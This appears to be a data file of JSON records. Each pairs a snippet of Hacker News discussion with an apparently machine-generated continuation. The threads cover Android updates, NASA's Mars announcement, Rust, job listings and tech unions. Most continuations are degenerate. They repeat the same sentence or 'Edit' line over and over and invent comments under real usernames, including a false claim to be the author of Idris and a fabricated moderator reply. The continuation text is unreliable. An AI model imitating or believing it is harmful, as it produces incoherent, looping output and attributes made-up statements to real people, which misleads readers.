See\n[https://en.wikipedia.org/wiki/Bill_Clinton_pardon_controvers...](https://en.wikipedia.org/wiki/Bill_Clinton_pardon_controversy#Pardons_and_commutations"} +{"output_text": ": And its back to a screeching halt at 3:43 PM.\n\nEdit 4: And its back to a screeching halt at 3:44 PM.\n\nEdit 5: And its back to a screeching halt at 3:45 PM.\n\nEdit 6: And its back to a screeching halt at 3:46 PM.\n\nEdit 7: And its back to a screeching halt at 3:47 PM.\n\nEdit 8: And its back to", "input_text": "\ntrap.\n\nEdit: see previous discussion on this here:\n\n\n~~~\nCyranix\nI might cut them a bit more slack if the image to the CTA wasn't for\n\"Typography Crash Course\"!\n\nThanks for the reminder on Constrast Rebellion.\n\n------\nhappywolf\nIn case anybody is not aware, TreeHouse has a lot of design courses available\nfor free.\n\n\n\nI am in Singapore and as like other people here, has hit a pay-wall. The issue\nis at the landing page, it says: \"Receive a design course in your inbox each\nweek\" which gives me an impression these courses are free. I understand good\nthings usually aren't free, but not saying it up front until I gave my email\naddress is something that I don't like. Therefore, I am not going back\n\n------\nrvkennedy\nI'd feel happier going along with this is the commercial relationship between\nhackdesign.org and the makers of the Objectified documentary was upfront and\nclear before sign-up for a putatively free course. There's nothing wrong with\nmaking money this way (if they are, I can't tell). But tell us, before asking\nfor email addresses: what it actually costs, and whether (in your country) you\ncan even get the required content.\n\n------\nwasd\n\"Application Offline for Maintenance\" at 3:40 PM PST.\n\nEdit 1: And at 3:41 PM its up. Spoke too soon.\n\nEdit 2: And its back to a screeching halt at 3:42 PM.\n\nEdit 3"} +{"output_text": " want something cheap\n\n~~~\ncjhanks\nI agree with you. I think the reason Google is pushing this is because they\nare trying to get more developers to build for Android.\n\n------\njosteink\nI\u2019m not sure I understand the point of this.\n\nIf you want to develop for Android, you can still develop for Android.\n\nIf you want to develop for iOS, you can still develop for iOS.\n\nIf you want to develop", "input_text": " Windows Mobile has already solved this problem: All\nWindows 10 devices receive OS updates directly from Microsoft servers, as a\nrequirement of using the platform. (Even in 8.1, if you were on Developer\nPreview, you got updates straight from Microsoft, apart from carrier/OEM\nchannels.) Drivers/firmware are pushed separately.\n\nThis appears to be where Google is perhaps finally heading. Once Treble is out\nthere, Google will change their contract terms to mandate control over OS\nupdates for all devices which license the Play Store.\n\n~~~\nbitmapbrother\nNo Windows mobile has not solved that problem. Any updates involving firmware\nare still controlled by the carriers. It's a rather moot point as windows\nphone is dead anyway.\n\n>The new process still does not provide firmware updates, as far as we know,\nso carriers and their bottlenecks will still be involved in upgrading phones.\n\n------\ndmitrygr\nThis removes one of the main excuses various vendors use for not providing\nAndroid updates. I truly hope this works in helping users always be up to\ndate.\n\n------\ncjhanks\nIt is my opinion that Google does not view Android as simply \"an operating\nsystem for phones\". Android has tremendous application in IoT devices and\nappliances. The lifecycle of many applications is quite a bit longer than the\ncell phone.\n\nAs we see an increase in the diversity of applications using Android, this\nupgrade path will be very important. Just wait until you see your first ATM or\nPOS system \"Powered By Android \u00a9\".\n\n~~~\nswiley\nThe only two reasons people put up with android on phones are\n\n1) it's the only choice if you want something small with a cell modem\n\n2) it's the only choice if you"} +{"output_text": " different from what we have here. Imagine that the\nMars life is completely different from what we have here.\n\nImagine that the Mars life is completely different from what we have here.\n\nImagine that the Mars life is completely different from what we have here.\n\nImagine that the Mars life is completely different from what we have here.\n\nImagine that the Mars life is completely different from what we have here.\n\nImagine that the Mars life is completely different from what we", "input_text": " if living\nindigenous bacteria, or even plant life(!) were found - I think this is the\nmost ambitious scenario now conceivable, the 'Mars mat' of fiction suviving in\ncaves - it likely wouldn't be an argument to stop colonisation, though it\nmight have bearing on arguments about terraforming.\n\n------\ncharleywolters\nI mean that's great news but didn't they announce this like 10 times before?\nIsn't there a meme about this, that NASA announced they found water on Mars\nlike once a year?\n\n~~~\npeter303\nSoem of the times were for ancient water. But they have shown evidence of\nrecent water before too.\n\n------\nTinyyy\nYoutube Live link, works reliably:\n[https://www.youtube.com/watch?v=HDh4uK9PvJU](https://www.youtube.com/watch?v=HDh4uK9PvJU)\n\n~~~\nmkobit\nAnother link/stream/mirror (for those using Ctrl+F) -\n[http://mars.nasa.gov/news/whatsnew/index.cfm?FuseAction=Show...](http://mars.nasa.gov/news/whatsnew/index.cfm?FuseAction=ShowNews&NewsID=1856)\n\n------\nfoota\nDoes anyone else think that the form of life found on Mars would most likely\nbe completely distinct from what is found here, down to the molecular and cell\nlevel?\n\n~~~\nmangeletti\nOther than the possibility that the origins of life and potential life on Mars\nare the same, I think the same thing as you.\n\nImagine it is completely"} +{"output_text": "matt_wulfeck\n> _The Swedish government has been trying to get people to buy fewer things\n> and to repair them instead._\n\nI'm not sure I understand this. Why would you buy fewer things?\n\n~~~\nmatt_wulfeck\nI guess I'm just not sure what the point of this article is.\n\n~~~\nmatt_wulfeck\nI guess I'm just not sure what the point of this article", "input_text": " a feather. Where is the previous\narticle about how that level of tax is crazy to begin with?\n\n------\niamgopal\nI think ideal way is to charge people for dumping the waste, and use that\nmoney to properly recycle all the material therein. May not be ideal in terms\nof energy efficiency, but its highly workable solution.\n\n------\nrumcajz\nAlternative approach: Require people keep everything they buy for 10 years.\nThey'll be quickly fed up with their houses full of old broken gadgets,\ncardboard boxes and used wrapping foil.\n\n------\nmacandcheese\n\"Own few but good things\" \\- love everything about this as it relates to\nliving \"modestly minimal\" as I call it. Buy a small amount of high quality\npossessions, and take care of them.\n\n------\ntitzer\nWouldn't a high sales tax promote exactly that?\n\n~~~\neveningcoffee\nSales tax also applies to the services.\n\nMore over, as labor is highly taxed in Sweden, it makes local repairing\ndisproportionally more expensive compared to the manufacturing in a country\nwith smaller labor costs.\n\n~~~\ncharlesdm\n> More over, as labor is highly taxed in Sweden, it makes local repairing\n> disproportionally more expensive compared to the manufacturing in a country\n> with smaller labor costs.\n\nSounds like a very clear flaw in their economic and taxation model.\n\n~~~\neveningcoffee\nThis flaw is called free trade. This problem used to be fixed by higher\ncustoms. But we generally prefer free trade, so they have to try other\ninitiatives.\n\n------\nDowwie\nI guess they'd need to explicitly de-classify commonly repaired items from\nthis?\n\n------\n"} +{"output_text": ".bbc.co.uk/radio4/science/technology/2012/06/120611_adrian_bowyer_interview.shtml\n\n======\ntimthorn\nThis is a great interview with Adrian Bowyer, the inventor of the RepRap\nprinter. He's a very engaging speaker, and the interview is well worth\nlistening to.\n\n------\njules\nI'm not sure if this is the same Adrian Bowyer", "input_text": " a great article on the decay of Palm once HP bought it.\n\n[http://www.theverge.com/2012/6/5/3062611/palm-webos-hp-\ninsid...](http://www.theverge.com/2012/6/5/3062611/palm-webos-hp-inside-story-\npre-postmortem)\n\nSo, coming back to the point of contrast with Firefox OS, one has to\nacknowledge that Mozilla is pushing Firefox OS very hard. There is a dedicated\napp store which has more than a thousand apps now. Mozilla also has a\npassionate community behind it.\n\n \n\nFoam cap on beer is actually good - unlearned what I learned in college - jingsong\nhttp://www.stltoday.com/stltoday/lifestyle/columnists.nsf/adamjadhav/story/3F32B9542B478F90862575D600649043?OpenDocument\n\n======\nJimmyL\n>> we filled our red plastic cups to the brim with Bud or Miller Lite or\nIcehouse...\n\nI would say that if that's the caliber of beer you're drinking - which makes\nup a significant portion of most people's college beer - then screw the head,\nand just fill that red cup up all the way. No one drinks Icehouse or Bud for\nthe flavor; they drink it to get drunk. You could pour some Bud perfectly into\na freshly cleaned glass, and it would still taste bad.\n\nOnce you've moved on to better-quality beer, then yes - bring on the head.\n\n \n\nRadio 4 Interview with Adrian Bowyer, RepRap inventor (at ~20:00) - timthorn\nhttp://www"} +{"output_text": " the first release to use the letters.\n\n------\njosteink\nI\u2019m not sure if I\u2019m missing something, but I don\u2019t see any mention of\n\u201cminimal\u201d in the article.\n\nI\u2019m not sure if I\u2019m missing something, but I don\u2019t see any mention of\n\u201cminimal\u201d in the article.\n\n~~~\nkstenerud\nIt's a joke.\n\n------\njosteink\nI\u2019", "input_text": "-integer-datetimes --enable-thread-safety --enable-tap-tests --enable-\ndebug --disable-rpath --with-uuid=e2fs --with-gssapi --with-ldap --with-\nselinux\n\nSpecifically the differences in enabling ICU (portable collations) and nls\n(i.e. translations) alone are probably going to be the majority of difference\nin installed size.\n\n------\nsegmondy\nDid most of you read the article? I see folks suggesting what can be removed.\nThey can't do that.\n\n\"The Ubuntu Minimal Image is the smallest base upon which a user can apt\ninstall any package in the Ubuntu archive.\"\n\n~~~\nkstenerud\nFrom the article:\n\n\"Do you see any other opportunities for savings? Can you help us crop the\nBionic Beaver images any further? Is there something that we've culled, that\nyou see as problematic? We're interested in your feedback\"\n\n~~~\nbraindongle\n\"Crop the beaver\"? Seriously? It also says \"Shave the beaver\"! Is it me? Is\nthis thinly veiled high school innuendo?\n\n~~~\nkuschku\nUbuntu uses animal names as codename for releases.\n\nAfter Artful Aardvark now follows Bionic Beaver.\n\n~~~\nisostatic\nBreezy Badger being already used (before they moved to incrementinf letter\nbased system - having done hoary hedgehog and waryy warthog.\n\nIt wasn't until the first LTS version, dapper drake, that the letters started\nmatching the release number. The second LTS, or 8th release overall - Hardy\nHeron, in April 2008, was"} +{"output_text": "olution.\n\n~~~\nSanddancer\nI agree that the web is not a panacea, but I don't think it's a panacea for\nthe problems you're talking about. The web is a tool, and like any tool, it\ncan be used for good or ill. The web is a tool for communication, and it's\ngreat for that. It's a tool for collaboration, and it's great for that. It's a\ntool for sharing, and", "input_text": " in world wide market share, but they still have a\nlot of the wealthy users. There is a non-zero chance they get niched out of\nprominence by Android (aka every other manufacturer in the world), at which\npoint network effects start encouraging Android-first or Android-only\ndevelopment. There might be a point where Apple needs to double down on the\nweb, and/or maybe kill off apps, like they did flash, to still have the latest\n\"apps\".\n\n~~~\nSanddancer\nI take photos miles from where there's cell signal. I write code on the bus\nwhile heading to doctors appointments. The web is about as far from a panacea\nas you can get. It's slow, it's bloated, falls apart when you don't have a\nconnection, useful applications die when the company dies. Were some of the\nmidi devices I use for music \"web-based\" they'd have probably become doorstops\ndecades ago. A web-based IDE would be horrible for trying to develop code with\nan intermittent connection. The web is not a good time.\n\n~~~\nfauigerzigerk\nThe intermittency issues can be fixed but I agree that the dependency on web\napp providers and their fickle business models is scary.\n\nThe way it works is to funnel all the profits into a few huge conglomerates\nthat benefit from exclusive access to all personal data and train users to\nnever depend on anything that isn't a core product of one of these\nconglomerates.\n\nUsing their 80% margins they can afford to at least give us some time before\nscrapping software that doesn't look it's ever going to reach 4bn consumers.\n\nThe result is stability. Until they all get toppled by the next technology\nrev"} +{"output_text": " of the markets. We are looking\nfor software developers to join our team in New York, London, and Hong Kong.\n\nWe are looking for developers with experience in:\n\n\\- Python\n\n\\- C++\n\n\\- C#\n\n\\- Java\n\n\\- Javascript\n\n\\- SQL\n\n\\- Linux\n\n\\- AWS\n\n\\- Linux kernel\n\n\\- Linux device drivers\n\n\\- Networking\n\n\\- Distributed systems\n\n\\- Machine learning\n\n\\- Data", "input_text": " jobs page!\n[https://www.noredink.com/jobs](https://www.noredink.com/jobs)\n\n[1] [https://www.noredink.com/about/team](https://www.noredink.com/about/team)\n[2] [http://tech.noredink.com/](http://tech.noredink.com/) [3]\n[https://github.com/NoRedInk/](https://github.com/NoRedInk/) [4]\n[http://tech.noredink.com/post/136615783598/welcome-\nevan](http://tech.noredink.com/post/136615783598/welcome-evan) [5]\n[http://tech.noredink.com/post/145260396603/our-\nengineering-h...](http://tech.noredink.com/post/145260396603/our-engineering-\nhiring-process) [6] [http://tech.noredink.com/post/143787279069/on-boarding-\nas-a-...](http://tech.noredink.com/post/143787279069/on-boarding-as-a-new-\nremote-engineer-think-about)\n\n------\ndanbenjs\nJane Street | Software Developer | New York, London, Hong Kong | ONSITE, FULL-\nTIME, INTERNS, VISA, [http://www.janestreet.com](http://www.janestreet.com)\n\nJane Street is a quantitative trading firm with a focus on technology, a\nscientific approach, and a deep understanding"} +{"output_text": " article is not really about the\ncorrelation, but about the difficulty of measuring it.\n\n~~~\njameshart\nI think the article is about the difficulty of measuring mental illness and\ncreativity.\n\n------\njameshart\nI think the article is about the difficulty of measuring mental illness and\ncreativity.\n\n------\njameshart\nI think the article is about the difficulty of measuring mental illness and\ncreativity.\n\n------\njameshart\n", "input_text": " then it's a red herring.\nThe author supplies no evidence that it's a given. As far as I got, the phrase\n'mood disorder' was undefined.\n\n _... But is there any scientific reason to believe in a connection?_\n\nScience doesn't believe, science constructs and improves models based on\nrepeatable observations. That which cannot be observed cannot be modelled.\nPeople can choose to 'believe' those models... which is 'faith'. Which\nscience was invented to get away from.\n\nSo in the first two paragraphs, the author prepares us for the illucid neo-\nphrenology which follows.\n\n~~~\ncarlmr\n>Science doesn't believe, science constructs and improves models based on\nrepeatable observations.\n\nThat's confusing the scientific ideal, with how actual scientists operate.\nActual scientists hope that they get something right, they feel strongly about\ntheir research like the mother of a child, they're just as clouded by emotions\nas any other human being. And if you add corruption into the mix, then yes,\nwhat we call science is not as solid as it looks, but it still provides useful\nresults sometimes.\n\nBut we can still talk about a scientific reason to believe. Because the reason\nmight be scientific, but it still might be something which we can believe or\nnot. Because scientific reasons are about as flawed as their creators.\n\nThe replication problems in many fields are evidence that science is only as\nideal as the people producing it.\n\n------\nmajos\nI don't get this article. As far as I can tell, it wants to prove (in spite of\nthe headline) that mental illness and creativity are not really correlated.\nThen it goes on to say that measuring either mental illness or creativity is\nhard on its own -- in which case the"} +{"output_text": "auterized\nI'm not sure I'd want to see the number of texts I've sent my significant\nother.\n\n~~~\nartmageddon\nI'm not sure I'd want to see the number of texts I've sent my significant\nother either, but I'm sure I'd be interested in seeing the number of texts I\nhave sent my significant other.\n\n------\njoshschreuder\nI'm not sure I'd want to see the number of", "input_text": " is how prominent _xxx_ would appear (representing kisses, I might\nadd). We made a tacit agreement early in our relationship to always add those\nand/or an expression of love at the end of messages and conversations. One of\nthose little things that can get lost in transactional stuff, so I'm glad we\nmade the effort (even if it's now mostly habit, it's still valuable).\n\n~~~\nneduma\n>> We made a tacit agreement early in our relationship to always add those\nand/or an expression of love at the end of messages and conversations.\n\nRight on. Thanks of sharing this tip.\n\n------\nherbps10\nThis is great to see as I've been working on a similar project to try to\nvisualize relationships by looking at the number of texts sent over time.\n\nIf anyone would like help generating similar analyses of their texting data,\nI'd be glad to help as I have some machinery set up to do so!\n\nHere's a prototype site I put together that takes iPhone SMS backups and\ngenerates a graph of how many texts you've sent over time:\n\n[http://herbsusmann.com/relationships/](http://herbsusmann.com/relationships/)\n\n------\njoshschreuder\nI would be interested in trying this out for myself. Any ideas or open source\non extracting the data from phones (specifically the iPhone?).\n\nI think the iPhone may use a SQLite DB for messages?\n\n~~~\nartmageddon\nIt does, and it's totally possible if you haven't encrypted the phone's\nbackups and lost the password* like I did :(\n\n*I swear I didn't put a password on it but for some reason it got one...\n\n------\nc"} +{"output_text": "iler with a new compiler that will be able to\noptimize the code for the latest version of the JavaScript engine in the\nbrowser._\n\nI'm sure this will be a huge boon to the performance of Facebook's mobile\napp...\n\n _The company's internal release process is a bit like a game of telephone,\nwith engineers passing along the latest version of the code to other engineers\nwho then pass it on to the next group of engineers, who pass it on to the", "input_text": "ua\nThanks for the library. Useful. However, I found a blog post cut-off.\n\nHere's the post: \n\n------\ncallmeed\nSent to Kindle!... props to whoever put that together.\n\n------\nrrikhy\nThis is great...thanks for the upload, Chirag!\n\n \nA behind-the-scenes look at Facebook release engineering - 3lit3H4ck3r\nhttp://arstechnica.com/business/news/2012/04/exclusive-a-behind-the-scenes-look-at-facebook-release-engineering.ars?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+arstechnica%2Findex+%28Ars+Technica+-+Featured+Content%29\n======\njoshuahedlund\nSo many gems in this article.\n\n _To help spot problems, Facebook employees who access the social network from\nwithin the company's internal network will always see an experimental build of\nthe site based on the very latest code, including proposed changes that\nhaven't officially been accepted._\n\nProbably the only place where your excuse for checking Facebook at work can be\n\"Looking for bugs!\"\n\n _The many data sources tracked by Facebook's internal monitoring tools even\ninclude tweets about Facebook. That information is displayed in a graph with\nseparate trend lines to show the change in volume of positive and negative\nremarks_\n\nGuess I need to tweet more about how slow their mobile app is getting...\n\n _One of the major ongoing development efforts at Facebook is a project to\nreplace the HipHop transp"} +{"output_text": " the contract?\n\n> and other issues.\n\nThis is a union issue.\n\n> The union has also been active in the fight against the Trump administration\u2019s\n> anti-immigrant policies,\n\nThis is a union issue.\n\n> and the union has been a leader in the fight against the Trump administration\u2019s\n> anti-worker policies.\n\nThis is a union issue.\n\n> The union has also been active in the fight against the", "input_text": " slash and burn private equity\nfirms.\n\n~~~\nSpicyLemonZest\nThat's a pretty universal viewpoint. Even the most business-friendly people\nwould be skeptical of someone saying that private equity \"warms their heart\",\nor talking about how we need to stop MBA-busting and reverse the \"liberal\nanti-MBA backlash\".\n\n------\npje\nCongratulations!\n\n------\ngodzillabrennus\nSix months from now we will likely be wishing we had union jobs.\n\n------\nColonelSanders\nFor a union, it's concerning when some things are more tailored to the whims,\nedge cases, personal niches of the most vocal, rather than shielding the\ncommon denominator of the cooperative from management's business decisions.\n\nI'd like to explain what I like, and what I'm concerned about:\n\n> Employees at major American tech and game companies have grown increasingly\n> active and outspoken about workplace issues,\n\nVery union related, that's what unions are for.\n\n> including sexual assault and harassment,\n\nAlready unlawful. They are addressable to the NLRB and civil legal system.\n\n> ageism,\n\nThat's vague, but there are protections against this\n\n> unequal pay,\n\nNot sure what this means, pay between workers of the same level of seniority\nperforming the same responsibilities? Overtime? A lot of things factor into\nequal pay. A junior employee isn't going to make as much as a 20 year\nemployee.\n\n> \u201ccrunch time\u201d (i.e. long-term overtime and overworking),\n\nLooks right. These are covered in union contracts\n\n> poor treatment of contract workers,\n\nIf they have union membership? Wouldn't it be about"} +{"output_text": ".\n\n~~~\nropeadopepope\nI think you're right.\n\n------\njedberg\nI'm not sure I understand the point of this.\n\nIf you're going to have a subscription model, why not just have a subscription\nmodel?\n\nIf you're going to have a pay-once model, why not just have a pay-once model?\n\n~~~\njedberg\nI guess I'm just confused because I thought the", "input_text": " pain. Banks seem to specialise in awkward UX and statements that just show\n\"UnknownCo LLC Service\" because they're the parent company of coolthing.com's\nservice. Patreon might be better placed to have a try here.\n\nRight now I'm having this battle with myself as the side-project I'm slowly\nprogressing looks like having a sub might be right. I'm still reluctant. Oh\nthe irony. :)\n\nGood luck with your creations.\n\n------\njakobegger\nOh my god I get a headache just thinking about all the feature flags they'll\nhave to maintain, and all the copywriting to describe each feature, and all\nthe support emails from people asking which features they can use...\n\nWhat are they going to do when a new feature makes another one obsolete? Keep\nboth? What if they fix a bug in the new version, do they also fix it in the\nobsolete version?\n\nThis sounds like a major maintenance chaos a few years down the line. They'll\nneed to keep adding individual features to incentivise frequent re-purchases,\nso they'll end up with hundreds of variations of the app, all depending on\nwhen you bought it...\n\nThinking about this makes me so happy about the pay-once model of my apps, I'm\nso grateful that it works, and that I don't need to squeeze every penny from\nmy customers.\n\n~~~\nropeadopepope\n> Oh my god I get a headache just thinking about all the feature flags they'll\n> have to maintain\n\nWhy not use a plugin model? Feature flags can be hacked.\n\n~~~\ngrok2\nMaking every feature a plugin is hard -- it requires that the original\nimplementation expose everything possible in APIs to be take advantage of"} +{"output_text": "\ncurrent is energy.\n\n------\njrockway\nI'm not sure I understand the point of this. The article says that the\nbatteries are \"too expensive\" and \"too heavy\". But the batteries are the same\nsize as the laptop. So what's the problem?\n\n~~~\njrockway\nI guess I don't understand the point of this. The article says that the\nbatteries are \"too expensive\" and \"too heavy\". But", "input_text": " remember the NiCd and NiMH batteries from a decade ago? I do.\nThose _really sucked_.\n\n~~~\naxod\nBut the advances in battery technology are lame compared to CPU / memory /\ndisk.\n\nIn the last 30 years, we've gone from having a room full of hard disks storing\n32GB, to a memory chip the size of your fingernail storing the same.\n\nIn that same time period, batteries have improved a little bit. I understand\nit's a \"harder\" problem, but it'd really be nice if people were working on it.\n\n~~~\nberntb\n>>but it'd really be nice if people were working on it.\n\nAre you joking?\n\nConsider that electric cars are using similar tech as laptops; there is a\n_lot_ of battery research.\n\n(Google e.g. lithium air, I believe that is the latest great hope for getting\nrid of the oil dependency...)\n\n~~~\naxod\nI'm sure a few people are working on it ;)\n\nIt's just depressing how much batteries suck.\n\nWhy can't we buy AA batteries that last a month constant usage now? Probably\nbecause then we'd buy less batteries, and people are unlikely to buy more\nexpensive batteries.\n\nAnyway, some new startups working to shake things up would be cool IMHO.\n\n~~~\nDaniel_Newby\n50 milliamps for a month is equal to the energy produced by 50 grams of TNT.\n\nOK, so not kilotons, but not something you want to carry around either.\n\n~~~\njrockway\nCurrent isn't energy, so no.\n\n~~~\nDaniel_Newby\nIn the context of a ~1.5 V AA battery (the grandparent comment's lament),"} +{"output_text": " simple way to invest in clean energy projects.\n\nWe are looking for a Director of Legal & Regulatory to join our team in\nMontreal. This is a full-time position with a competitive salary and benefits.\n\nWe are looking for someone with a strong background in law, regulation, and\nfinance. You will be responsible for the legal and regulatory aspects of our\nbusiness, including drafting and reviewing contracts, drafting and reviewing\nlegal documents, and managing our legal team.", "input_text": ". This is truly one of those jobs where you and your\ndevelopers/operations friends can use the tool you operate every single day.\nThe Papertrail stack is largely Ruby, Java, Scala, and MySQL. Lots and lots of\nMySQL. This is your opportunity to come in and lead a small operations team at\na company that is growing every month. Plus, with the backing of Solarwinds\nbehind it, there are no worries about running out of VC funding, or where the\nnext round is coming from. We're a small distributed Ops team where everyone\nwrites code, operating an existing successful business and we're looking for\nthe next piece of the puzzle to collaborate in taking our operations\nengineering to the next level. If this sounds interesting to you, we'd love to\nopen up a conversation about whether we're a good match, setup some interviews\nand a coding test. You can find the contact info above. About the company:\nPapertrail manages billions of log messages for operations-savvy companies.\nPapertrail provides time-saving log tools, flexible system groups, team-wide\naccess, long-term archives, charts and analytics exports, monitoring webhooks,\nand 45-second setup. It's all your logs in one place, and it \"just works\".\nPapertrail is a wholly owned subsidiary of Solarwinds, Inc.\n\n------\npropter_hoc\nCoPower | Director, Legal & Regulatory | Montreal ONSITE |\n[https://copower.me](https://copower.me)\n\nCoPower is a fintech/impact-investing startup that makes it easy to invest for\nprofit and planet. Our investment products are backed by rigorously originated\nloans to energy efficiency and renewable generation project, and our online\nplatform provides a"} +{"output_text": ".\nC/C++), then you can use the array library to build a dependently typed\nlanguage.\n\n~~~\nalrex021\nThanks! I think that's a great idea. I'll look into it.\n\n------\nalrex021\nI'm the author of Idris. I'm happy to answer any questions.\n\n~~~\nalrex021\nI'm also the author of the Idris tutorial.\n\n------\nalrex021\nI'm", "input_text": " - would you vote on bills?

The business model will not be revealed until version 2 so we are not really looking for feedback on that aspect.

Looking forward to hearing from you.\n======\ntogasystems\nGreat idea. Couple of notes (I am running Chrome on Mac)\n\n\\- You have a drop shadow on the main content. However, it does not show up on\nthe bottom, only the top and side.\n\n-on , the checkmark icons are overlapping the font\n\n\\- You button text is being cut off\n\n\\- Is there a reason why you need my entire personal information (address, zip\ncode)\n\nOther than some css fixes, looks good.\n\n~~~\ngoodlab\nThanks - I'll look into the css stuff. Yes - we need the personal info to look\nup your representatives. I guess we could make that more clear. Actually - we\nused to ask more info. Things like profession, ethnicity etc. It helps us when\nreporting aggregate data. No one really complained - we just took it out for\nthe moment until we redo some other things.\n\n------\ngoodlab\nI wonder why this did not show up on the ask part of the site? It was\nsubmitted without a url.\n\n \nIdris - pure functional programming language with dependent types - alrex021\nhttp://idris-lang.org/\n======\nradarsat1\nVery nice, haven't heard of this before. I think an ideal target for a\ndependently typed language is scientific array programming, so that you can\nensure the sizes of your matrix and array operations check out before\nperforming long-running tasks. If a good array library can be built (e.g"} +{"output_text": "ividually).\n\n------\nmatt_the_bass\nI\u2019m not sure I understand the point of this article.\n\nI\u2019m not sure I understand the point of this article.\n\n~~~\ndang\nPlease don't post unsubstantive comments here.\n\n[https://news.ycombinator.com/newsguidelines.html](https://news.ycombinator.com/newsguidelines.html)\n\n------\nm", "input_text": " brick and mortar type of stores are way behind\nthe times. Just some stories on here are horror story level examples of the\nnight and day kind of service you can get in regards to buyer convenience.\n\n------\nblensor\nI have started to fall back to a shopping site run by our postal service [1]\nwhich has been trying for several months through TV ads to get people to use\nthe more regional shopping site rather than Amazon. I guess they could not\nhave hoped for a better scenario than a countrywide lockdown paired with\nshipping delays at Amazon\n\n[1] shoepping.at\n\n------\nradium3d\nPrices on amazon have been way higher than alternatives lately. Be sure to\ncheck other online outlets.\n\n------\njupp0r\nTo any other non-amazon stores out there: have toilet paper in stock and I'll\ngive it a try!\n\n------\ntanilama\nIf Amazon has shipping delay in US, then it is unlikely other smaller shops\ncan fare it better.\n\n~~~\njshevek\nAt the beginning of the pandemic, Amazon was overwhelmed by people panic\nbuying or preparing for shelter in place. The problem was not primarily the\nshipping industry, it was within Amazon. They've since hired large numbers of\npeople and deprioritized [items deemed] non-essential so that people can get\ntheir essential needs in a timely manner.\n\n~~~\nStillBored\nHow does amazon know what is essential?\n\n~~~\njshevek\n_Edit: I thought you said \"determine\" rather than \"know\", answered accordingly\nbelow. Of course they don't \"know\", that's not a helpful question._\n\nThe same way everyone does when trying to solve this problem systemically (vs\nind"} +{"output_text": " but it's not going to be a long term\nthing.\n\n~~~\nmaxaf\nI think you're underestimating the power of VR.\n\n~~~\naaron695\nI think you're underestimating the power of AI.\n\nVR is a novelty.\n\n~~~\nmaxaf\nI think you're underestimating the power of AI.\n\nVR is a novelty.\n\n------\njameslk\nI'm not sure I understand the", "input_text": " more features rinse and repeat. There\nwill always be hold outs content with their feature set but there will always\nbe people on the leading edge and it all balances out but this doesn't seem\nlike anything particularly new or novel.\n\n~~~\ndanpalmer\nIn this model the user continues to get bug fixes (and likely new OS support)\neven after their licence expires.\n\n~~~\nnodamage\nBug fixes make sense, but I wonder if it is reasonable to expect/provide\nperpetual OS support based on a single purchase?\n\n~~~\nJumpCrisscross\nHow does one differentiate fixes and feature? For example, suppose a new TLS\nstandard is adopted. This requires work to implement. Is the change a fix or\nan upgrade? Will the team be indefinitely required to issue updates to the old\nTLS?\n\nI like the agenda-pricing concept. But it feels like a poor-man\u2019s compromise\nfor a subscription. Why not permit downloads of an executable any time a sub\nis valid?\n\n~~~\njarfil\nEasy: what's the feature you're selling? Is it \"TLS 1.0\" or \"secure\nconnections\"?\n\n \nImmersive journalism uses VR to insert viewers directly into the story - maxufberg\nhttp://www.psmag.com/nature-and-technology/journalisms-new-reality\n======\naaron695\nAin't going to happen before AI.\n\nAs a 'just so' story think of the radio play 'War of the Worlds' and how hard\nthat is to do in video, then take that again to VR.\n\nVR/AR means rather than one story your telling multiple at once.\n\nThe human hours is just prohibitively expensive.\n\nIt currently pays off because of novelty,"} +{"output_text": "williamw520/rustymem)\n\n~~~\nsteveklabnik\nI'm not sure I'd call it a learning exercise. It's a pretty big project, and\nit's not a toy.\n\n~~~\nww520\nIt's a learning exercise for me. I'm not a professional programmer. I'm just\nlearning the language and the ecosystem.\n\n~~~\nsteveklabnik\nFair enough. :)\n\n------\njoste", "input_text": " real flavor for it. But the rate\nof change especially to important elements of the language is still too great.\nI don't want to rewrite the code to stay abreast of revs.\n\nNot a critique by any means--I admire the language and the work being done.\nMore of a wish that the core language syntax would settle down soon.\n\n~~~\nsteveklabnik\nTo be clear, the syntax changes in this release were very minor. It's mostly\nthe standard library and runtime that are changing at this time.\n\nThat doesn't mean that your sentiment is wrong; if you don't want to be\nkeeping up with the langauge's changes, certainly don't write projects in\nRust. That said, there are more libraries than you'd expect, including a few\nthat are several thousands of lines.\n\n~~~\ndbaupp\n_> To be clear, the syntax changes in this release were very minor_\n\nYeah, _only_ the _entire_ for loop syntax changed. ;)\n\n~~~\nsteveklabnik\nAnd it was fixable with a regular expression. :)\n\n------\nww520\nRust is pretty good as a language but things are still changing a lot,\nespecially on the library side.\n\nI did a project in Rust as a learning exercise. The language is easy to pick\nand I was able to hit the ground running from the start. The major learning\nhurdle I think is the memory model, which is different from most languages out\nthere.\n\nHere's my first Rust project after two weeks of on and off hacking. It's a\nMemcached client library implementing the Memcached protocols in pure Rust.\n[https://github.com/williamw520/rustymem](https://github.com/"} +{"output_text": "illing to relocate: Yes\n\nTechnologies: Python, Django, Flask, Javascript, React, Vue, PostgreSQL,\nMySQL, Docker, AWS, GCP, Heroku, Linux, Ansible, Terraform, Docker, Kubernetes,\nDocker Compose, Docker Swarm, Docker Swarm Mode, Docker Swarm Mode, Docker\nSwarm Mode, Docker Swarm Mode, Docker Swarm Mode, Docker Swarm Mode, Docker\nSw", "input_text": " AWS, Rekog, Polly, Fedex, UPS, Craigslist Bulk Posting, Amazon Product API, Twitter, Facebook, Reddit, Clockify, etc...\n - AI/ML: Rekog, Polly, python/NLTK == created image classification to search emails by images in ads.\n - Cloud: Aws/Azure/GCP. Learning Kubernetes/terraform. \n - Serverless: Some small projects, looking to use more in the future.\n - Business: Scrum, Agile, Kanban, Jira, Accelerator (Boom Startup)\n \n\nResume: [https://patrickcurl.com/resume](https://patrickcurl.com/resume)\n\nemail: patrickwcurl (at) gmail.com\n\nCurrently working on an open source (soon to be released) SaaS boostrapper w/\nteams|plans|projects built using laravel+vue+inertiajs+tailwindcss.\n\nI also work 40-50 hours weekly on freelancing work including a modified clone\nof reddit for a community focused site.\n\nI've been working in php/laravel since 2013 and have a number of published\narticles on laravel, linux, vue, etc... at\n[https://medium.com/@patrickcurl](https://medium.com/@patrickcurl)\n\nI'm looking for exciting projects as a developer, product manager, project\nmanager. I'm also open to working as a CTO or consultant for architecture\nplanning or as a mid-level devops.\n\n------\nblaisehorvath\nLocation: Budapest (EU)\n\nRemote: Yes (Only) but kick off meetings, monthly meetings are okay in the EU\n\nW"} +{"output_text": "\n\n\\- Does the boss seem to be a bit of a bully? Does he or she seem to be\nbullying others?\n\n\\- Does the boss seem to be a bit of a control freak? Does he or she seem to\nbe controlling 